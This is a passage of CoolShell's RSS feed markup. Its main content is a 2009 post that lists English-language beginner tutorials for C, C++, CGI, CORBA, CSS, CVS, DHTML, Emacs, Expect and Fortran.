decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2631.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"五大基于JVM的脚本语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2631.html\" class=\"wp_rp_title\">五大基于JVM的脚本语言</a></li><li ><a href=\"https://coolshell.cn/articles/2554.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/Eclipse-3.6-6-150x150.bmp\" alt=\"Eclipse 3.6 （Helios）新特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2554.html\" class=\"wp_rp_title\">Eclipse 3.6 （Helios）新特性</a></li><li ><a href=\"https://coolshell.cn/articles/688.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"你能做对下面这些JavaScript的题吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/688.html\" class=\"wp_rp_title\">你能做对下面这些JavaScript的题吗？</a></li><li ><a href=\"https://coolshell.cn/articles/1023.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Unix 40年：昨天，今天和明天 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1023.html\" class=\"wp_rp_title\">Unix 40年：昨天，今天和明天 </a></li><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/2520.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/06/London-Live-Train-Map-150x150.jpg\" alt=\"伦敦地铁实时图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2520.html\" class=\"wp_rp_title\">伦敦地铁实时图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/244.html\">全球IP地址数据库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/244.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>非常不错的编程技术教程</title>\n\t\t<link>https://coolshell.cn/articles/240.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/240.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 25 Mar 2009 05:52:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[教程]]></category>\n\t\t<category><![CDATA[编程]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=240</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一些非常不错的编程教程，当然，全是英文版的。不过因为是新手教程，所以非常容易阅读，可以在学习技术的同时加强一下自己的英语阅读能力。 如果你是一个新手，建议...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/240.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/240.html\">非常不错的编程技术教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是一些非常不错的编程教程，当然，全是英文版的。不过因为是新手教程，所以非常容易阅读，可以在学习技术的同时加强一下自己的英语阅读能力。</p>\n<p>如果你是一个新手，建议你把本页设为你的收藏夹。<br />\n<strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">C</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://devcentral.iftech.com/learning/tutorials/c-cpp/c/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to C Programming </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.abarnett.demon.co.uk/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C Optimization Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.actcom.co.il/~choo/lupg/tutorials/c-on-unix/c-on-unix.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Compiling C and C++ Programs on UNIX Systems</span><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"><span style=\"color: #667b04;\"> </span></span><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">&#8211; gcc/g++ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.actcom.co.il/~choo/lupg/tutorials/libraries/unix-c-librarieshtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Building and Using Static and Shared C Libraries </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.cm.cf.ac.uk/Dave/C/CE.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Programming in C: UNIX System Calls and Subroutines Using C </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.eskimo.com/~scs/C-faq/top.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.eskimo.com/~scs/cclass/cclass.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C Programming Class Notes </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.gustavo.net/programming/c__tutorials.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">ANSI C for Programmers on UNIX Systems </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/0672310686/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sams Teach Yourself C in 24 Hours </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/0672310694/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sams Teach Yourself C in 21 Days (4th Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxgazette.com/issue24/rogers.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Standard C Library for Linux &#8211; Part 1: file functions </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxgazette.com/issue31/rogers1.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Standard C Library for Linux &#8211; Part 2: character input/output </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxgazette.com/issue32/rogers.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Standard C Library for Linux &#8211; Part 3: formatted input/output </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxgazette.com/issue38/rogers.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Standard C Library for Linux &#8211; Part 4: Character Handling </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxgazette.com/issue39/rogers.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Standard C Library for Linux &#8211; Part 5: Miscellaneous Functions </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.lysator.liu.se/c/bwk-tutor.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Programming in C: A Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.redhat.com/devnet/whitepapers/intro_dev/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">An Introduction to C Development on Linux </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.strath.ac.uk/CC/Courses/CCourse/CCourse.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C Programming Course </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.swcp.com/~dodrill/cdoc/clist.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C Language Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.syclus.com/cscene/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CScene: An Online Magazine for C and C++ Programming </span></a><br />\n<span id=\"more-240\"></span><br />\n<strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">C++</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://computers.iwz.com/prog/cpp/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://devcentral.iftech.com/learning/tutorials/c-cpp/cpp/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Understanding C++: An Accelerated Introduction </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://devcentral.iftech.com/learning/tutorials/c-cpp/sst/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">An Introduction to C++ Class Hierarchies </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://egcs.cygnus.com/onlinedocs/g++FAQ_toc.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">G++ FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://uu-gna.mit.edu:8001/uu-gn/atext/cc/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to Object-Oriented Programming Using C++ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.actcom.co.il/~choo/lupg/tutorials/c-on-unix/c-on-unix.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Compiling C and C++ Programs on UNIX Systems &#8211; gcc/g++ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.cerfnet.com/~mpcline/c++-faq-lite/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ FAQ Lite </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.cs.wustl.edu/~schmidt/C++/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ Programming Language Tutorials </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.flipcode.com/tutorials/tut_cppdepend.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Reducing Dependencies in C++ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.flipcode.com/tutorials/tut_exceptions.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ Exception Handling </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.flipcode.com/tutorials/tut_strings01.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Part 1: Unicode </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.flipcode.com/tutorials/tut_strings02.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Part 2: A Complete String Class </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informatik.uni-frankfurt.de/~fp/Tcl/tcl-c++/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Making C++ Loadable Modules Work </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/0672310708/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sams Teach Yourself C++ in 21 Days (2nd Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.mozilla.org/hacking/portable-cpp.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ Portability Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.ses.com/~clarke/cpptips.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ Tips </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.swcp.com/~dodrill/cppdoc/cpplist.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ Language Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.syclus.com/cscene/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CScene: An Online Magazine for C and C++ Programming </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.trumphurst.com/cpplibs1.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ Libraries FAQ </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">CGI</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://www.acm.vt.edu/~scott/cgi.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CGI Programming Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.cgi101.com/class/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CGI Programming 101 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/1562763970/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CGI Manual of Style </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/1575210878/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CGI Developer&#8217;s Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/1575211513/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CGI Programming Unleashed </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/1575211963/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sams Teach Yourself CGI Programming with Perl 5 in a Week (2nd Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.speakeasy.org/~cgires/cgi-tips.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CGI/Perl Tips, Tricks and Hints </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.speakeasy.org/~cgires/cgi-tour.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">A Tour of HTML Forms and CGI Scripts </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.speakeasy.org/~cgires/readdat/aindex.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Reading CGI Data: URL-Encoding and the CGI Protocol </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.webthing.com/tutorials/cgifaq.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CGI Programming FAQ </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">CORBA</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://www.cerfnet.com/~mpcline/corba-faq/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CORBA FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.cs.indiana.edu/hyplan/kksiazek/tuto.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">A Brief Tutorial on CORBA </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.cs.wustl.edu/~schmidt/CORBA-docs/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CORBA 2.0 Specification </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.cs.wustl.edu/~schmidt/tutorials-corba.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CORBA Tutorials </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.informit.com/product/0672312085/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sams Teach Yourself CORBA in 14 Days </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue48/2336.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Linux Network Programming, Part 3 &#8211; CORBA: The Software Bus </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue61/3201.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CORBA Program Development, Part 1 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue62/3213.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CORBA Program Development, Part 2 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue63/3214.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CORBA Program Development, Part 3 </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">CSS</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://richinstyle.com/guides/css2.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CSS2 Tutorial </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">CVS</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://cellworks.washington.edu/pub/docs/cvs/tutorial/cvs_tutorial_toc.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CVS Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.csc.calpoly.edu/~dbutler/tutorials/winter96/cvs/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Concurrent Version System Tutorial </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">DHTML</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://www.stars.com/Authoring/DHTML/Intro/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to Dynamic HTML </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Emacs</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://heather.cs.ucdavis.edu/~matloff/UnixAndC/Editors/Emacs.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Emacs: The Software Engineer&#8217;s <code data-enlighter-language=\"swiss\" class=\"EnlighterJSRAW\"></code> Army Knife&#8221; </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.geek-girl.com/emacs/faq/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Emacs FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.gnu.org/manual/elisp-manual-20-2.5/elisp.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GNU Emacs Lisp Reference Manual </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.gnu.org/manual/emacs-lisp-intro/emacs-lisp-intro.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Programming in Emacs Lisp </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.gprep.pvt.k12.md.us/technology/emacs_lesson/emacs_toc.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GNU Emacs Manual </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.lib.uchicago.edu/keith/tcl-course/emacs-tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">A Tutorial Introduction to Emacs </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxgazette.com/issue26/marsden.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">EMACSulation: Internet-ready! </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxgazette.com/issue27/marsden.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">EMACSulation: Ediff &#8211; An Emacs interface to diff and patch </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxgazette.com/issue29/marsden.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">EMACSulation: Emacs as a Server </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxgazette.com/issue31/marsden.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">EMACSulation: Customizing Emacs </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxgazette.com/issue35/anderson.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Basic Emacs </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxgazette.com/issue39/marsden.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">EMACSulation: Templating Mechanisms </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.linuxgazette.com/issue47/pedersen.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Emacs Macros and the Power-Macros Package </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue59/2178.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Polyglot Emacs 20.4 </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Expect</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"http://www.linuxgazette.com/issue48/fisher.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Advanced Programming in Expect: A Bulletproof Interface </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue54/3065.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Automating Tasks with Expect </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue68/3357.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">What Can you Expect?&#8211;A Data Collection Project Using Linux </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Fortran</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br />\n<a href=\"ftp://ftp.star.le.ac.uk/pub/fortran/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Professional Programmer&#8217;s Guide to Fortran 77 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://csep1.phy.ornl.gov/pl/pl.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Fortran 90 and Computational Science </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://metalab.unc.edu/pub/languages/fortran/unfp.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">User Notes on Fortran Programming </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://noether.vassar.edu/~myers/Fortran.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Fortran Programming for Physics and Astronomy </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br />\n</span></span><a href=\"http://www.astro.unibas.ch/F90Tutorial/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">A Fortran 90 Tutorial </span></a><span 